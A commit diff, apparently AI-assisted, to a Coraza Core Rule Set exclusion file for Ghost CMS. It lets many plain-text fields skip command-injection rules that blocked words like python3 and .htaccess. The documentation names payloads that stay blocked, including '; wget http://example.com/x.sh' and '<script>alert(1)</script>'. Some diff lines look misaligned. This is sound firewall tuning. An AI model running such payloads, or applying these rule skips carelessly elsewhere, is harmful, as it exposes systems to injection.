Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359 )

Ghost 6.76.0 was sent the fields the Ghost unit had not recorded with python3, powershell, ls -la and .htaccess. Fixes in ghost.conf: - the rules of plain text, now eight with 932235, for staff profiles, setup, invitations, tiers, offers, recommendations, integrations, webhooks, feature image captions, members' comments, the CSV import's labels, ActivityPub, and the analytics' query fields; - 932235 for the existing plain-text fields too, so "powershell & python3" passes there; - filter skips six more command rules, for the post picker's title:~'powershell & python3'; - staff invitation addresses, email_segment and a tag's code injection. Model: opus-5-5
2026-11-12 04:56:13 +00:00
8 changed files with 603 additions and 403 deletions
@@ -610,8 +610,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
      its searches, its file names, its account names, its comments and its
      documents;
    - `ghost`, whose fixes let through its filters, its searches, its names, its
-      email addresses, its code injection, its settings and a post saved from
+      email addresses, its code injection, its settings, its analytics, its
-      its editor, HTML included.
+      members' comments, ActivityPub and a post saved from its editor, HTML
      included.
 - A random password, as a password manager makes one, gets through these forms:
    - signing in, signing up, and changing or resetting a password, on
      WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
@@ -1747,35 +1747,62 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
 ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
 and the request it refused. Ghost's admin and integrations call the Admin API
 under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
-`/ghost/api/content/`, and members call `/members/api/`.
+`/ghost/api/content/`, and members call `/members/api/`. The admin calls
 ActivityPub, a service of its own, under `/.ghost/activitypub/`.
-Three query fields skip some rules:
+The rules of plain text are 930120, 932120, 932125, 932230, 932235, 932250,
 932260 and 932380. They refused words that name commands and files, such as
 `python3`, `ls -la` and `.htaccess`, and titles such as `powershell & python3`.
- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
+These query fields skip some rules:
-  API and the Content API, so `tag:powershell` passes;
+
 - `filter`, a query in Ghost's own filter language, skips the rules of plain
  text except 930120, on the Admin API and the Content API;
 - `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
  the Admin API;
 - `url`, the address the editor looks up for an embed or a bookmark, skips
-  930120 and 932120.
+  930120 and 932120;
 - `pathname`, `source` and the `utm_` fields, which filter the analytics, skip
  the rules of plain text under `/ghost/api/admin/stats/`;
 - `email_segment`, the members a post is sent to as a newsletter, skips 932120
  on the Admin API's posts;
 - `query`, a search for an account in ActivityPub, skips the rules of plain
  text;
 - `email`, when an invitation is checked, skips 930120, 932120 and 932260.
-The fields of JSON bodies where a person types plain text skip 930120, 932120,
+The fields of JSON bodies where a person types plain text skip the rules of
-932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
+plain text. They are these fields of posts, pages, tags, labels, members,
-pages, tags, labels, members, newsletters and snippets, on the Admin API:
+newsletters and snippets, on the Admin API:
 - `title`, `name` and `slug`;
 - a post's `tags` and a member's `labels`, by name or slug;
 - `custom_excerpt`, `description`, `note` and `sender_name`;
 - the `meta_`, `og_` and `twitter_` titles and descriptions.
-A member's `name` at `/members/api/` skips them too. A member's `email` skips
+These fields on the Admin API skip them too:
 930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
 member. A staff user's address skips them too: `username` when signing in, and
 `email` when creating the first staff user, asking for a password reset or
 saving a profile.
-The `canonical_url` of a post or a page skips 930120 and 932120, as `url` does.
+- a staff user's `name`, `slug`, `bio`, `location` and `website`;
-A post's skips them under `/ghost/api/admin/posts/`, and a page's under
+- `blogTitle` and `name` when creating the first staff user;
-`/ghost/api/admin/pages/`.
+- `name` when accepting an invitation;
 - `name`, `description` and `benefits` of tiers;
 - `name`, `code`, `display_title` and `display_description` of offers;
 - `title`, `description` and `excerpt` of recommendations;
 - `name` and `description` of integrations, and `name` of webhooks;
 - `feature_image_alt` and `feature_image_caption` of posts and pages.
 These fields skip them on their own paths:
 - a member's `name` at `/members/api/`;
 - `html` of a member's comment at `/members/api/comments/`;
 - `labels`, when the admin imports members from a CSV file;
 - in ActivityPub, `content` of a note or a reply, and `name`, `username` and
  `bio` of the account.
 A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
 the admin adds or edits a member. A staff user's address skips them too:
 `username` when signing in, and `email` when creating the first staff user,
 asking for a password reset, saving a profile, inviting a staff user or
 accepting an invitation.
 The articles carry HTML on purpose. These fields on the Admin API hold them:
@@ -1795,29 +1822,24 @@ The articles skip these rules:
 Code injection is the HTML that Ghost adds to the head and the foot of a page.
 These fields on the Admin API hold it:
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
+- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
 - `value` of settings, since the site's settings hold its code injection.
 Code injection skips these rules:
- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
+- the rules of plain text except 932235;
 - 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
  elements.
-A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
+`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
-card can embed a widget and code injection can load analytics. These are the
+articles and code injection (941110, 941170 and 941210). Path traversal and SQL
-fields, on the Admin API:
+injection are still refused in every field above. Script injection is too,
 outside the articles.
- `lexical`, `mobiledoc` and `html` of posts and pages;
+`; wget http://example.com/x.sh` is still refused in the addresses, `search`,
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
+`url`, `email_segment` and `email`. The plain text, the articles and the other
- `value` of settings.
+query fields skip 932235, which refuses it, since 932235 also refuses
-
+`powershell & python3`.
 `<script>alert(1)</script>` is still refused in snippets and newsletters.
 `javascript:alert(1)` is still refused in the articles and code injection
 (941170 and 941210). Path traversal and SQL injection are still refused in every
 field above. Script injection is too, outside the articles and code injection.
 `; wget http://example.com/x.sh` is still refused in the query fields, the plain
 text, the addresses and the canonical URLs.
 Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
 That name holds `.profile`, a file on the list of system files, so the name
@@ -7,7 +7,8 @@
 #
 # Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
 # themes and Ghost's own scripts call the Content API under /ghost/api/content/,
-# and members call /members/api/. Coraza names a field of a JSON body by its
+# and members call /members/api/. The admin calls ActivityPub, a service of its
 # own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
 # path, so the title of the first post saved is json.posts.0.title.
 # Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
@@ -17,11 +18,22 @@
 SecRule &TX:app_ghost "@eq 0" \
    "id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
-# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
+# filter, a query in Ghost's own filter language, skips seven rules on the
-# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
+# Admin API and the Content API:
 #   932120: filter=tag:powershell, filter=name:~'powershell'
 #   932125, 932230, 932250: filter=title:~'powershell & ls -la'
 #   932235, 932260: filter=title:~'powershell & python3', which the admin's
 #   post picker sends when a person types that title
 #   932380: filter=title:~'python3 & powershell'
 SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
    "id:900350,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=932120;ARGS:filter"
+    ctl:ruleRemoveTargetById=932120;ARGS:filter,\
    ctl:ruleRemoveTargetById=932125;ARGS:filter,\
    ctl:ruleRemoveTargetById=932230;ARGS:filter,\
    ctl:ruleRemoveTargetById=932235;ARGS:filter,\
    ctl:ruleRemoveTargetById=932250;ARGS:filter,\
    ctl:ruleRemoveTargetById=932260;ARGS:filter,\
    ctl:ruleRemoveTargetById=932380;ARGS:filter"
 # search, the search for a member by name or address, skips four rules on the
 # Admin API:
@@ -45,10 +57,51 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
    ctl:ruleRemoveTargetById=930120;ARGS:url,\
    ctl:ruleRemoveTargetById=932120;ARGS:url"
-# The fields a person types plain text into skip seven rules on the Admin API:
+# The query fields of the analytics pages skip the eight rules of plain text,
 # which 900353 lists, on /ghost/api/admin/stats/:
 #   930120: pathname=/.htaccess
 #   932120: source=powershell.example.com
 #   932235, 932260: utm_campaign=powershell & python3
 #   932250: utm_term=ls -la
 # These fields filter the figures by a page, the site a visit came from, or a
 # campaign: pathname, source, utm_source, utm_medium, utm_campaign,
 # utm_content and utm_term.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
    "id:900367,phase:1,pass,nolog,\
    ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
    ctl:ruleRemoveTargetById=932120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
    ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
    ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
    ctl:ruleRemoveTargetById=932235;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
    ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
    ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
    ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/"
 # email_segment, the members a post is sent to as a newsletter, skips 932120
 # on the Admin API's posts: email_segment=label:powershell-users.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
    "id:900368,phase:1,pass,nolog,\
    ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
 # query, a search for an account in ActivityPub, skips the eight rules of plain
 # text: query=python3, query=@powershell@example.com.
 SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
    "id:900369,phase:1,pass,nolog,\
    ctl:ruleRemoveTargetById=930120;ARGS:query,\
    ctl:ruleRemoveTargetById=932120;ARGS:query,\
    ctl:ruleRemoveTargetById=932125;ARGS:query,\
    ctl:ruleRemoveTargetById=932230;ARGS:query,\
    ctl:ruleRemoveTargetById=932235;ARGS:query,\
    ctl:ruleRemoveTargetById=932250;ARGS:query,\
    ctl:ruleRemoveTargetById=932260;ARGS:query,\
    ctl:ruleRemoveTargetById=932380;ARGS:query"
 # The fields a person types plain text into skip eight rules, the rules of
 # plain text, on the Admin API:
 #   930120: the title "Using python3 and ls -la to tidy .htaccess files"
 #   932120: the page's slug about-python3-powershell-htaccess
 #   932125, 932230, 932250: the tag "Linux & ls -la"
 #   932235: the title "powershell & python3"
 #   932260: the tag python3
 #   932380: the newsletter "Shell tips weekly: python3 & powershell"
 # These fields hold plain text:
@@ -64,11 +117,12 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
-# name, the name a member saves at /members/api/, skips the same seven rules.
+# name, the name a member saves at /members/api/, skips the same eight rules.
 SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
    "id:900359,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
@@ -76,10 +130,96 @@ SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
 # More fields of plain text skip the same eight rules on the Admin API, which
 # refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
 # "powershell & python3 deal" in them:
 #   users.<n>.name, slug, bio, location and website, a staff user's profile
 #   setup.<n>.blogTitle and name, creating the first staff user
 #   invitation.<n>.name, accepting a staff invitation
 #   tiers.<n>.name, description and benefits
 #   offers.<n>.name, code, display_title and display_description
 #   recommendations.<n>.title, description and excerpt
 #   integrations.<n>.name and description, and webhooks.<n>.name
 #   posts.<n>.feature_image_alt and feature_image_caption, and the same fields
 #   of pages
 # Coraza matches a field's name in lower case, so blogTitle is blogtitle.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
    "id:900370,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
 # A member's comment, html at /members/api/comments/, skips the same eight
 # rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
 # rules for scripts and HTML still refuse a <script> element, an event handler
 # and a javascript: link in it.
 SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
    "id:900371,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
 # labels, which the admin gives the members imported from a CSV file at
 # /ghost/api/admin/members/upload/, skips the same eight rules, which refused
 # "python3 import" and "powershell & .htaccess".
 SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
    "id:900372,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:labels "@eq 0" \
        "ctl:ruleRemoveTargetById=930120;ARGS:labels,\
        ctl:ruleRemoveTargetById=932120;ARGS:labels,\
        ctl:ruleRemoveTargetById=932125;ARGS:labels,\
        ctl:ruleRemoveTargetById=932230;ARGS:labels,\
        ctl:ruleRemoveTargetById=932235;ARGS:labels,\
        ctl:ruleRemoveTargetById=932250;ARGS:labels,\
        ctl:ruleRemoveTargetById=932260;ARGS:labels,\
        ctl:ruleRemoveTargetById=932380;ARGS:labels"
 # In ActivityPub, a note's or a reply's content and an account's name, username
 # and bio skip the same eight rules, which refused "Trying python3 & powershell"
 # and the bio "ls -la and .htaccess tips". Each field skips them on its own path:
 #   content, posting a note at /.ghost/activitypub/v1/actions/note or a reply
 #   under /.ghost/activitypub/v1/actions/reply/
 #   name, username and bio, saving the account at /.ghost/activitypub/v1/account
 SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
    "id:900373,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.content$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.content$/,\
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.content$/,\
        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.content$/,\
        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.content$/,\
        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.content$/,\
        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.content$/,\
        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.content$/,\
        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.content$/"
 SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
    "id:900374,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
 # A member's email address skips 930120, 932120 and 932260, which refused
 # erin.htaccess@example.com, dave.powershell@example.com and
 # python3.dev@example.com. These fields hold it:
@@ -132,6 +272,30 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
 # The address of a staff invitation skips the same three rules. Each of these
 # fields skips them only on its own path:
 #   invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
 #   email in the query, checking an invitation at
 #   /ghost/api/admin/authentication/invitation/
 #   invitation.<n>.email, accepting it at the same path
 SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
    "id:900375,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
 SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
    "id:900376,phase:1,pass,nolog,\
    ctl:ruleRemoveTargetById=930120;ARGS:email,\
    ctl:ruleRemoveTargetById=932120;ARGS:email,\
    ctl:ruleRemoveTargetById=932260;ARGS:email"
 SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
    "id:900377,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
 # The articles skip these rules on the Admin API:
 #   930120: ls -la /var/www/html/.htaccess in a code block
 #   932120: powershell -ExecutionPolicy Bypass -File build.ps1
@@ -153,8 +317,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
 #   snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
 #   reuse
 #   newsletters.<n>.footer_content, the footer of a newsletter
-# A javascript: link (941170, 941210) is still refused in them. A <script>
+# A <script> element (941110) and a javascript: link (941170, 941210) are still
-# element (941110) passes only in posts and pages, by 900366.
+# refused in them.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
    "id:900355,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
@@ -184,8 +348,7 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
 # These fields hold it, and skip the rules anywhere on the Admin API:
 #   posts.<n>.codeinjection_head and _foot, and the same fields of pages
 #   settings.<n>.value, the value of a setting
-# A javascript: link is still refused in them, and a <script> element passes
+# A <script> element and a javascript: link are still refused in them.
 # by 900366.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
    "id:900356,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
@@ -201,38 +364,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
        ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
        ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
 # A <script> element skips 941110 in posts, pages and code injection, on the
 # Admin API, which refused:
 #   an HTML card that embeds a widget with its script
 #   code injection that loads analytics,
 #   <script defer src="https://analytics.example.com/script.js"></script>
 # These fields take a <script> element on purpose:
 #   posts.<n>.lexical, mobiledoc and html, and the same fields of pages
 #   posts.<n>.codeinjection_head and _foot, and the same fields of pages
 #   settings.<n>.value, the value of a setting
 # Snippets and a newsletter's footer still refuse it.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
    "id:900366,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
 # The canonical URL of a post or a page skips the two rules that url skips:
 #   930120: https://example.com/blog/.htaccess/
 #   932120: https://example.com/blog/powershell/
 # Each of these fields skips them only on its own path:
 #   posts.<n>.canonical_url, under /ghost/api/admin/posts/
 #   pages.<n>.canonical_url, under /ghost/api/admin/pages/
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
    "id:900383,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
    "id:900384,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
 # Saving a staff user's profile sends the field profile_image, whose name holds
 # .profile, a file the list of system files names (930120).
 SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
@@ -240,6 +371,24 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
    SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
 # A tag's code injection, tags.<n>.codeinjection_head and _foot under
 # /ghost/api/admin/tags/, skips the same rules as the code injection of posts.
 # A <script> element and a javascript: link are still refused in it.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
    "id:900378,phase:1,pass,nolog,chain"
    SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
        "ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
        ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
